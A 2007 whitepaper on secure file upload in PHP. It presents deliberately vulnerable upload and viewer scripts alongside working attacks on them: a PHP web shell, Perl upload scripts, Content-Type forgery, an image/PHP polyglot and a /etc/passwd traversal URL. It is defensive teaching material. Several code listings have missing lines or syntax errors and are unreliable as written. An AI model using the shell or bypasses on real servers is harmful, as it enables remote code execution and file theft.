Php File Upload

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Secure file upload in PHP web applications
Alla Bezroutchko
June 13, 2007

Secure File Upload In PHP Web Applications

Table of Contents
Introduction.......................................................................................................................................... .............3
Naive implementation of file upload................................................................................................... ...............3
Content-type verification.................................................................................................................. .................5
Image file content verification.................................................................................................. .........................8
File name extension verification.................................................................................................................. ....12
Indirect access to the uploaded files.................................................................................................... ...........15
Local file inclusion attacks...................................................................................................... ........................16
Reference implementation................................................................................................................. .............17
Other issues................................................................................................................................................. ...19
Conclusion......................................................................................................................................... .............19

Page 2 of 20


Introduction

Various web applications allow users to upload files. Web forums let users upload avatars.
Photo galleries let users upload pictures. Social networking web sites may allow uploading
pictures, videos, etc. Blog sites allow uploading avatars and/or pictures.

Providing file upload function without opening security holes proved to be quite a challenge
in PHP web applications. The applications we have tested suffered from a variety of
security problems, ranging from arbitrary file disclosure to remote arbitrary code execution.
In this article I am going to point out various security holes occurring in file upload
implementations and suggest a way to implement a secure file upload.

The examples shown in this article can be downloaded from
http://www.scanit.be/uploads/php-file-upload-examples.zip. If you want to test the
examples please make sure that the server you are using is not accessible from the
Internet or any other untrusted networks. The examples are provided to demonstrate
various security holes. Installing them on a server where those holes can be exploited is
not a good idea.

Naive implementation of file upload

Handling file uploads normally consists of two somewhat independent functions –
accepting files from a user and displaying files to the user. Both can be a source of
security problems. Let us consider the first naïve implementation:

Example 1. File upload (upload1.php) :
<?php

$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

Users will retrieve uploaded files by surfing to
http://www.example.com/uploads/filename.gif

Normally users will upload the files using a web form like the one shown below:

Page 3 of 20


Example 1. Upload form (upload1.html)
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-
data">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>

An attacker, however, does not have to use this form. He can write Perl scripts to do
uploads or use an intercepting proxy to modify the submitted data to his liking.

This implementation suffers from a major security hole. upload1.php allows users to
upload arbitrary files to the uploads/ directory under the web root. A malicious user can
upload a PHP file, such as a PHP shell and execute arbitrary commands on the server
with the privilege of the web server process. A PHP shell is a PHP script that allows a user
to run arbitrary shell commands on the server. A simple PHP shell is shown below:
<?php
system($_GET['command']);
?>

If this file is installed on a web server, anybody can execute shell commands on the server
by surfing to http://server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found on the Internet. Those can allow uploading and
downloading arbitrary files, running SQL queries, etc.

The Perl script shown below uploads a PHP shell to the server using upload1.php:
#!/usr/bin/perl

use LWP; # we are using libwwwperl
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client

$res = $ua->request(POST 'http://localhost/upload1.php', # send POST request
Content_Type => 'form-data', # The content type is
# multipart/form-data – the standard for form-based file uploads
Content => [
userfile => ["shell.php", "shell.php"], # The body of the
# request will contain the shell.php file
],
);
print $res->as_string(); # Print out the response from the server

This script uses libwwwperl which is a handy Perl library implementing an HTTP client.

Page 4 of 20


When we run upload1.pl this is what happens on the wire (the client request is shown in
blue, the server reply in black):
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain

<?php
?>

--xYzZY--

HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html

File is valid, and was successfully uploaded.

After that we can request the uploaded file, and execute shell commands on the web
server:
$ curl http://localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. It is a very useful
tool for testing web applications. cURL can be downloaded from http://curl.haxx.se/

Content-type verification
Letting users run arbitrary code on the server and view arbitrary files is usually not the
intention of the webmaster. Thus most application take some precautions against it.
Consider example 2:

Example 2. File upload (upload2.php)

Page 5 of 20


<?php

if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}

$uploaddir = 'uploads/';

} else {
}

?>

In this case, if the attacker just tries to upload shell.php, the application will check the
MIME type in the upload request and refuse the file as shown in HTTP request and
response below:
Host: localhost
Content-Length: 156

--xYzZY
Content-Type: text/plain

<?php
?>

--xYzZY--

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
Content-Length: 41
Connection: close

Sorry, we only allow uploading GIF images

So far, so good. Unfortunately, there is a way for the attacker to bypass this protection.
What the application checks is the value of the Content-type header. In the request above
it is set to "text/plain". However, nothing stops the attacker from setting it to "image/gif".

Page 6 of 20


After all, the attacker completely controls the request that is being sent. Consider
upload2.pl script below:
#!/usr/bin/perl
#

use LWP;

$ua = $ua = LWP::UserAgent->new;;

$res = $ua->request(POST 'http://localhost/upload2.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.php", "shell.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();

Running this script produces the following HTTP request and response:
Host: localhost
Content-Length: 155

--xYzZY
Content-Type: image/gif

<?php
?>

--xYzZY--

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
Content-Length: 59
Connection: close

<pre>File is valid, and was successfully uploaded.
</pre>

The upload2.pl script changes the Content-type header value to image/gif, which makes
upload2.php happily accept the file.

Page 7 of 20


Image file content verification
Instead of trusting the Content-type header a PHP developer might decide to validate the
actual content of the uploaded file to make sure that it is indeed an image. The PHP
getimagesize() function is often used for that. getimagesize() takes a file name as an
argument and returns the size and type of the image. Consider upload3.php below.

<?php

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG imagesn";
exit;
}


} else {
}

?>

Now if the attacker tries to upload shell.php even if he sets the Content-type header to
"image/gif", upload3.php won't accept it anymore:
Host: localhost
Content-Length: 155

--xYzZY

<?php
?>

--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache

Page 8 of 20


Content-Length: 42
Connection: close

Sorry, we only accept GIF and JPEG images

You would think that now the webmaster can rest assured that nobody can sneak in any
file that is not a proper GIF or JPEG image. Unfortunately, this is not enough. A file can be
a proper GIF or JPEG image and at the same time a valid PHP script. Most image formats
allow a text comment. It is possible to create a perfectly valid image file that contains some
PHP code in the comment. When getimagesize() looks at the file, it sees a proper GIF or
JPEG image. When the PHP interpreter looks at the file, it sees the executable PHP code
inside of some binary garbage. A sample file called crocus.gif can be downloaded together
with all the other examples in this article from http://www.scanit.be/uploads/php-file-
upload-examples.zip . A file like that can be created in any image editor that supports
editing GIF or JPEG comment, for example Gimp.

Consider upload3.pl:
#!/usr/bin/perl
#

use LWP;

$ua = $ua = LWP::UserAgent->new;;

$res = $ua->request(POST 'http://localhost/upload3.php',
Content_Type => 'form-data',
Content => [
userfile => ["crocus.gif", "crocus.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();

It takes the file crocus.gif and uploads it with the name of crocus.php. Running this script
results in the following HTTP exchange:
Host: localhost
Content-Length: 14835

--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"

GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of

Page 9 of 20


binary data ...)
--xYzZY--

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
Content-Length: 59
Connection: close

</pre>

Now the attacker can request uploads/crocus.php:

Page 10 of 20


You can see that the PHP interpreter ignores the binary data in the beginning of the image
and executes the string "<?php phpinfo(); ?>" in the GIF comment.

Page 11 of 20


File name extension verification
The reader of this document might wonder why don't we just check and enforce the file
extension of the uploaded file? If we do not allow files with the .php extension, the server
will not attempt to execute the file no matter what its contents are. Let us consider this
approach.

We can make a black list of file extensions and check the file name specified by the user
to make sure that it does not have any of the known-bad extensions:

<?php

$blacklist = array(".php", ".phtml", ".php3", ".php4");

foreach ($blacklist as $item) {
if(preg_match("/$item$/i", $_FILES['userfile']['name'])) {
echo "We do not allow uploading PHP filesn";
exit;
}
}


} else {
}

?>

The expression preg_match("/$item$/i", $_FILES['userfile']['name']) matches the
file name specified by the user against the item in the blacklist. The "i" modifier make the
regular expression case-insensitive. If the file name matches one of the items in the
blacklist the file is not uploaded.

If we try to upload a file with the .php extension, it is refused:
Host: localhost

Page 12 of 20


--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"

GIF89(...skipping binary data...)
--xYzZY--

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
Content-Length: 36
Connection: close

We do not allow uploading PHP files

If we upload a file with the .gif extension it gets uploaded:
Host: localhost

--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"

GIF89(...skipping binary data...)
--xYzZY--

HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
Content-Length: 59
Connection: close

</pre>

Now if we request the uploaded file, it does not get executed by the server:

Page 13 of 20


So, can we stop worrying now? Uhm, unfortunately, the answer is still no. What file
extensions will be passed on to the PHP interpreter will depend on the server
configuration. A developer often has no knowledge and no control over the configuration of
the web server where his application is running. We have seen web servers configured to
pass files with .html and .js extensions to PHP. Some web applications may require that
files with .gif or .jpeg extensions are interpreted by PHP (this often happens when images,
for example graphs and charts, are dynamically generated on the server by a PHP script).

Even if we know exactly what file extensions are interpreted by PHP now, we have no
guarantee that this does not change at some point in the future, when some other
application is installed on the web server. By that time everybody is bound to forget that
the security of our server depends on this setting.

Particular care has to be taken with regards to writable web directories if you are running
PHP on Microsoft IIS. As opposed to Apache, Microsoft IIS supports "PUT" HTTP
requests, which allow users to upload files directly, without using an upload PHP page.
PUT requests can be used to upload a file to the web server if the file system permissions
allow IIS (which is running as IUSR_MACHINENAME) to write to the directory and if IIS
permissions for the directory allow writing. IIS permissions are set from the Internet
Services Manager as shown in the screenshot below.

Page 14 of 20


To allow uploads using a PHP script you need to change file system permissions to make
the directory writable. It is very important to make sure that IIS permissions do not allow
writing. Otherwise users will be able to upload arbitrary files to the server using PUT
requests, bypassing any checks you might have implemented in your PHP upload script.

Indirect access to the uploaded files
The solution is to prevent the users from requesting uploaded files directly. This means
either storing the files outside of the web root or creating a directory under the web root
and blocking web access to it in the Apache configuration or in a .htaccess file. Consider
the next example:
<?php

$uploaddir = '/var/spool/uploads/'; # Outside of web root

} else {

Page 15 of 20


}

?>

The users cannot just surf to /uploads/ to view the uploaded files, so we need to provide
an additional script for retrieving the files:

Example 5. Viewing uploaded file (view5.php):

<?php

$uploaddir = '/var/spool/uploads/';
$name = $_GET['name'];
readfile($uploaddir.$name);

?>

The file viewing script view5.php suffers from a directory traversal vulnerability. A
malicious user can use this script to read any file readable the web server process. For
example accessing view5.php as
http://www.example.com/view5.php?name=../../../etc/passwd will most probably return the
contents of /etc/passwd

Local file inclusion attacks
The last implementation stores the uploaded files outside of the web root where they
cannot be accessed and executed directly. Although it is reasonably secure, an attacker
may have a chance to take advantage of it if the application suffers from another common
flaw – local file inclusion vulnerability. Suppose we have some other page in our web
application that contains the following code:

Example 5. local_include.php
<?php
# ... some code here
if(isset($_COOKIE['lang'])) {
$lang = $_COOKIE['lang'];
} elseif (isset($_GET['lang'])) {
$lang = $_GET['lang'];
} else {
$lang = 'english';
}
include("language/$lang.php");
# ... some more code here
?>

Page 16 of 20


This is a common piece of code that usually occurs in multi-language web applications.
Similar code can provide different layouts depending on user preference.

This code suffers from a local file inclusion vulnerability. The attacker can make this page
include any file on the file system with the .php extension, for example:

This request makes local_include.php include and execute
"language/../../../../../../../../tmp/phpinfo.php" which is simply /tmp/phpinfo.php. The attacker
can only execute the files that are already on the system, so his possibilities are rather
limited.
However, if the attacker is able to upload files, even outside the web root, and he knows
the name and location of the uploaded file, by including his uploaded file he can run
arbitrary code on the server.

Reference implementation
The solution for that is to prevent the attacker from knowing the name of the file. This can
be done by randomly generating file names and keeping track of them in a database.
Consider example 6:

<?php
require_once 'DB.php'; # We are using PEAR::DB module

$uploaddir = '/var/spool/uploads/'; # Outside of web root
$uploadfile = tempnam($uploaddir, "upload_");

Page 17 of 20


# Saving information about this file in the DB
$db =& DB::connect("mysql://username:password@localhost/database");
if(PEAR::isError($db)) {
unlink($uploadfile);
die "Error connecting to the database";
}
$res = $db->query("INSERT INTO uploads SET name=?, original_name=?,
mime_type=?",
array(basename($uploadfile,
basename($_FILES['userfile']['name']),
$_FILES['userfile']['type']));
if(PEAR::isError($res)) {
unlink($uploadfile);
die "Error saving data to the database. The file was not uploaded";
}
$id = $db->getOne('SELECT LAST_INSERT_ID() FROM uploads'); # MySQL specific
echo "File is valid, and was successfully uploaded. You can view it <a
href="view6.php?id=$id">here</a>n";
} else {
}

?>

Example 6. Viewing uploaded file (view6.php)
<?php
require_once 'DB.php';

$uploaddir = '/var/spool/uploads/';
$id = $_GET['id'];
if(!is_numeric($id)) {
die("File id must be numeric");
}
$db =& DB::connect("mysql://root@localhost/db");
if(PEAR::isError($db)) {
die("Error connecting to the database");
}
$file = $db->getRow('SELECT name, mime_type FROM uploads WHERE id=?',
array($id), DB_FETCHMODE_ASSOC);

if(PEAR::isError($file)) {
die("Error fetching data from the database");
}

if(is_null($file) || count($file)==0) {
die("File not found");
}

header("Content-Type: " . $file['mime_type']);
readfile($uploaddir.$file['name']);
?>

Page 18 of 20


Now the uploaded files cannot be requested and executed directly (because they are
stored outside of web root). They cannot be used in local file inclusion attacks, because
the attacker has no way of knowing the name of his file used on the file system. The
viewing part fixes the directory traversal problem, because the files are referred to by a
numeric index in the database, not any part of the file name. I would also like to point out
the use of the PEAR::DB module and prepared statements for SQL queries. The SQL
statement uses question marks as placeholders for the query parameters. When the data
received from the user is passed into the query, the values are automatically quoted,
preventing SQL injection problems.

An alternative to storing files on the file system is keeping file data directly in the database
as a BLOB. This approach has the advantage that everything related to the application is
stored either under the web root or in the database. This approach probably wouldn't be a
good solution for large files or if the performance is critical.

Other issues
There is still a number of things to consider when implementing a file upload function.

1. Denial of service. Users might be able to upload a lot of large files and consume all
available disk space. The application designer might want to implement a limit on
the size and number of files one user can upload in a given period (a day)
2. Performance. The file viewer in example 6 might be a performance bottleneck if
uploaded files are viewed often. If we need to serve files as fast as possible an
alternative approach is to set up a second web server on a different host, copy
uploaded files to that server and serve them from there directly. The second server
has to be static, that is it should serve files as is, without trying to execute them as
PHP or any other kind of executable. Another approach to improving the
performance for serving images is to have a caching proxy in front of the server and
making sure the files are cacheable, by issuing proxy-friendly headers.
3. Access control. In all examples above the assumption was that anybody can view
any of the uploaded files. Some applications may require that only the user who has
uploaded the file can view it. In this case the uploads table should contain the
information about the ownership of the file and the viewing script should check if the
user requesting the file is its owner.

Conclusion

A developer implementing file upload functionality has to be careful not to expose the
application to attack. In the worst case, a badly implemented files upload leads to remote
code execution vulnerabilities.

Page 19 of 20


The most important safeguard is to keep uploaded files where they cannot be directly
accessed by the users via a direct URL. This can be done either by storing uploaded files
outside of the web root or configuring the web server to deny access to the uploads
directory.

Another important security measure is to use system-generated file names instead of the
names supplied by users when storing files on the file system. This will prevent local file
inclusion attacks and also make any kind of file name manipulation by the user impossible.

Checking that the file is an image is not enough to guarantee that it is not a PHP script. As
I have demonstrated, it is possible to create files that are images and PHP scripts at the
same time.

Checking file name extensions of the uploaded files does not provide bullet-proof security,
particularly for applications which can deployed on a wide variety of platforms and server
configurations.

Performance can be an issue. However it is perfectly possible to implement file upload
securely, while still delivering the necessary performance.

Page 20 of 20

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